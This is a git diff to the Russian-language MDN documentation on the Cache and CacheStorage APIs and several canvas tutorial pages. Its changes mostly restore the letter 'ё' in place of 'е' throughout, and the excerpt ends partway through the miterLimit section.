a487987497..ae0b0783bd 100644 --- a/files/ru/web/api/cache/match/index.html +++ b/files/ru/web/api/cache/match/index.html @@ -28,12 +28,12 @@ translation_of: Web/API/Cache/match <dt>request</dt> <dd>Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.</dd> <dt>options {{optional_inline}}</dt> - <dd>Объект, который задает параметры для операции <code>match</code>. Допустимые значения: + <dd>Объект, который задаёт параметры для операции <code>match</code>. Допустимые значения: <ul> <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url. Например, если оно установлено в <code>true, часть</code> <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при поиске соответствий ключа. По умолчанию равно <code>false</code>.</li> <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку <code>http</code> метода для запроса {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь <code>GET</code> и <code>HEAD</code>). По умолчанию равно <code>false</code>.</li> <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда установлено в <code>true,</code> указывает операции сопоставления ключа не проводить проверку соответствия заголовка <code>VARY</code> — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок <code>VARY</code>. По умолчанию равно <code>false</code>.</li> - <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом <code>Cache.match()</code>.</li> + <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, задающая определённый кеш для поиска. Заметьте, что этот параметр игнорируется методом <code>Cache.match()</code>.</li> </ul> <p>В Chrome поддерживается лишь <code>cacheName</code>.</p> diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html index 49d37cd9cd..98471205c0 100644 --- a/files/ru/web/api/cachestorage/index.html +++ b/files/ru/web/api/cachestorage/index.html @@ -15,36 +15,36 @@ translation_of: Web/API/CacheStorage --- <p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p> -<p>Интерфейс <strong><code>CacheStorage</code></strong> представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.</p> +<p>Интерфейс <strong><code>CacheStorage</code></strong> представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имён соответствующих объектов {{domxref("Cache")}}.</p> <p><code>CacheStorage</code> также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом <code>CacheStorage</code>.</p> <p>Вы можете получить доступ к <code>CacheStorage</code> через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.</p> -<div class="note"><strong>Заметка</strong>: CacheStorage всегда возвращает отказ с <code>SecurityError</code> для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.</div> +<div class="note"><strong>Заметка</strong>: CacheStorage всегда возвращает отказ с <code>SecurityError</code> для ненадёжных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.</div> -<div class="note"><strong>Заметка</strong>: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.</div> +<div class="note"><strong>Заметка</strong>: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путём открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.</div> <h2 id="Методы">Методы</h2> <dl> <dt>{{domxref("CacheStorage.match()")}}</dt> - <dd>Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.</dd> + <dd>Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдёт совпадение.</dd> <dt>{{domxref("CacheStorage.has()")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет <code>true,</code> если объект {{domxref("Cache")}} содержит кеш с установленным <code>cacheName</code>.</dd> + <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится и вернёт <code>true,</code> если объект {{domxref("Cache")}} содержит кеш с установленным <code>cacheName</code>.</dd> <dt>{{domxref("CacheStorage.open()")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с <code>cacheName</code> (если такого нет, то создаст новый).</dd> + <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдёт необходимый объект с <code>cacheName</code> (если такого нет, то создаст новый).</dd> <dt>{{domxref("CacheStorage.delete()")}}</dt> - <dd>Находит объект {{domxref("Cache")}}, соответствующий <code>cacheName</code>, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с <code>true</code>. Если объект {{domxref("Cache")}} не найдет, то возвращается <code>false</code>.</dd> + <dd>Находит объект {{domxref("Cache")}}, соответствующий <code>cacheName</code>, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с <code>true</code>. Если объект {{domxref("Cache")}} не найдёт, то возвращается <code>false</code>.</dd> <dt>{{domxref("CacheStorage.keys()")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.</dd> + <dd>Возвращает {{jsxref("Promise")}}, который вернёт массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.</dd> </dl> <h2 id="Примеры">Примеры</h2> <p>Фрагмент кода взят с MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (смотри <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.</p> -<p>Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:</p> +<p>Во втором блоке кода мы ждём запуска события {{domxref("FetchEvent")}}. Мы создаём встроенный ответ:</p> <ol> <li>Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.</li> diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html index 4f0922351f..d7afa0bf65 100644 --- a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html +++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html @@ -15,19 +15,19 @@ translation_of: Web/API/Canvas_API/A_basic_ray-caster <p>Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <code><canvas></code> о котором я <a href="https://www.whatwg.org/specs/web-apps/current-work/#dynamic">читал</a>, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.</p> -<p>Хорошие <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">обзор</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.</p> +<p>Хорошие <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">обзор</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> по canvas я нашёл в MDN, но никто ещё не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.</p> <h2 id="How.3F" name="How.3F">Как?</h2> -<p>Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">доберется до этого</a>, и я хотел посмотреть, смогу ли я это сделать.</p> +<p>Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">доберётся до этого</a>, и я хотел посмотреть, смогу ли я это сделать.</p> -<p>Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездействуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.</p> +<p>Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчёты и останавливается если вы бездействуете. Получив расчёты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более тёмной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.</p> -<p>Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.</p> +<p>Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>, которую я нашёл в интернете, отфильтровал, переименовал, и внёс все изменения, которые нужно было внести, чтобы все работало хорошо.</p> <h2 id="Results" name="Results">Результаты</h2> -<p>Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.</p> +<p>Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 ещё быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то ещё. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.</p> <p>Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)</p> diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html index a1b7b04467..dddee8da38 100644 --- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -364,7 +364,7 @@ ball.draw(); <h2 id="Breakout(арканоид)">Breakout(арканоид)</h2> -<p>В этой короткой главе описаны некоторые приемы создания продвинутой анимации. Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите <a href="/en-US/docs/Games">Game development</a> чтобы узнать больше об играх.</p> +<p>В этой короткой главе описаны некоторые приёмы создания продвинутой анимации. Как насчёт того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите <a href="/en-US/docs/Games">Game development</a> чтобы узнать больше об играх.</p> <h2 id="Смотрите_так_же">Смотрите так же</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html index 7eea729bc2..9a750e66cc 100644 --- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html +++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -21,7 +21,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_ <dd>Устанавливает стиль контура фигуры. </dd> </dl> -<p><em><code>color </code></em>может быть цветом, (<code>строка, представленная в</code> CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура — черный (значение CSS цвета <code>#000000</code>).</p> +<p><em><code>color </code></em>может быть цветом, (<code>строка, представленная в</code> CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура — чёрный (значение CSS цвета <code>#000000</code>).</p> <div class="note"> <p><strong>На заметку:</strong> Когда вы устанавливаете значения <code>strokeStyle</code> и/или <code>fillStyle</code>, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в <code>fillStyle</code> или в <code>strokeStyle</code> для каждой фигуры.</p> @@ -39,7 +39,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <h3 id="Пример_fillStyle">Пример <code>fillStyle</code></h3> -<p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> +<p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> <pre class="brush: js;highlight[5,6] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -113,7 +113,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <h3 id="Пример_globalAlpha">Пример <code>globalAlpha</code></h3> -<p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.</p> +<p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.</p> <pre class="brush: js;highlight[15] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -195,22 +195,22 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt> <dd>Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.</dd> <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt> - <dd>Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.</dd> + <dd>Возвращает текущий массив тире штриховки, содержащий чётное число неотрицательных чисел.</dd> <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt> <dd>Устанавливает текущий пунктир линии.</dd> <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt> <dd>Указывает, где следует начинать тире массива в строке.</dd> </dl> -<p>Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.</p> +<p>Вы лучше поймёте, что они делают, глядя на приведённые ниже примеры.</p> <h3 id="Пример_lineWidth">Пример <code>lineWidth</code></h3> -<p>Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.</p> +<p>Это свойство задаёт толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.</p> -<p>Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.</p> +<p>Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению чётких горизонтальных и вертикальных линий.</p> -<p>В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.</p> +<p>В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.</p> <pre class="brush: js;highlight[4] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -232,7 +232,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p> -<p>Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.</p> +<p>Получение чётких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь чёткие края.</p> <p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p> @@ -241,14 +241,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной <code>1.0</code> занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии <code>1.0</code> закончится верно, точно заполняя вертикальную линию с одним пикселем.</p> <div class="note"> -<p><strong>Примечание:</strong> Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля <code>lineCap</code>, значение по умолчанию - <code>butt</code>; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль <code>lineCap</code> в <code>square</code>, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).</p> +<p><strong>Примечание:</strong> Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля <code>lineCap</code>, значение по умолчанию - <code>butt</code>; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечётной шириной, установив стиль <code>lineCap</code> в <code>square</code>, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).</p> -<p>Также обратите внимание, что затронуты только начальные и конечные точки пути: если путь закрыт с помощью <code>closePath()</code>, - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля <code>lineJoin</code> в значении по умолчанию - <code>miter</code>, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.</p> +<p>Также обратите внимание, что затронуты только начальные и конечные точки пути: если путь закрыт с помощью <code>closePath()</code>, - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикреплённому предыдущему и следующему сегментам и при текущей настройке стиля <code>lineJoin</code> в значении по умолчанию - <code>miter</code>, с эффектом автоматического расширения внешних границ подключённых сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.</p> </div> -<p>Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.</p> +<p>Для линий с чётной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.</p> -<p>Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.</p> +<p>Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет чёткой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.</p> <h3 id="Пример_lineCap">Пример <code>lineCap</code></h3> @@ -265,7 +265,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <dd>Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.</dd> </dl> -<p>В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства <code>lineCap</code>. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.</p> +<p>В этом примере мы проведём три строки, каждая из которых имеет другое значение для свойства <code>lineCap</code>. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.</p> <p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант - <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p> @@ -313,14 +313,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <dl> <dt><code>round</code></dt> - <dd>Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.</dd> + <dd>Радиус заполняемой части для скруглённых углов равен половине ширины линии. центр этого радиуса совпадает с концами подключённых сегментов.</dd> <dt><code>bevel</code></dt> - <dd>Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. </dd> + <dd>Заполняет дополнительную треугольную область между общей конечной точкой подключённых сегментов и отдельными внешними прямоугольными углами каждого сегмента. </dd> <dt><code>miter</code></dt> - <dd>Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства <code>miterLimit</code>, которое объясняется ниже.</dd> + <dd>Подключённые сегменты соединяются путём расширения их внешних краёв для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства <code>miterLimit</code>, которое объясняется ниже.</dd> </dl> -<p>В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств <code>lineJoin</code>; результат - выше. </p> +<p>В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств <code>lineJoin</code>; результат - выше. </p> <pre class="brush: js;highlight[6] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -351,9 +351,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Как вы видели в предыдущем примере, при объединении двух строк с опцией <code>miter</code> внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.</p> -<p>Свойство <code>miterLimit</code> определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства <code>miterLimit</code> (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code> может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.</p> +<p>Свойство <code>miterLimit</code> определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства <code>miterLimit</code> (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code> может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму рёбер линии.</p> -<p>Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:</p> +<p>Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединённых краёв линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краёв к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:</p> <ul> <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li> @@ -365,7 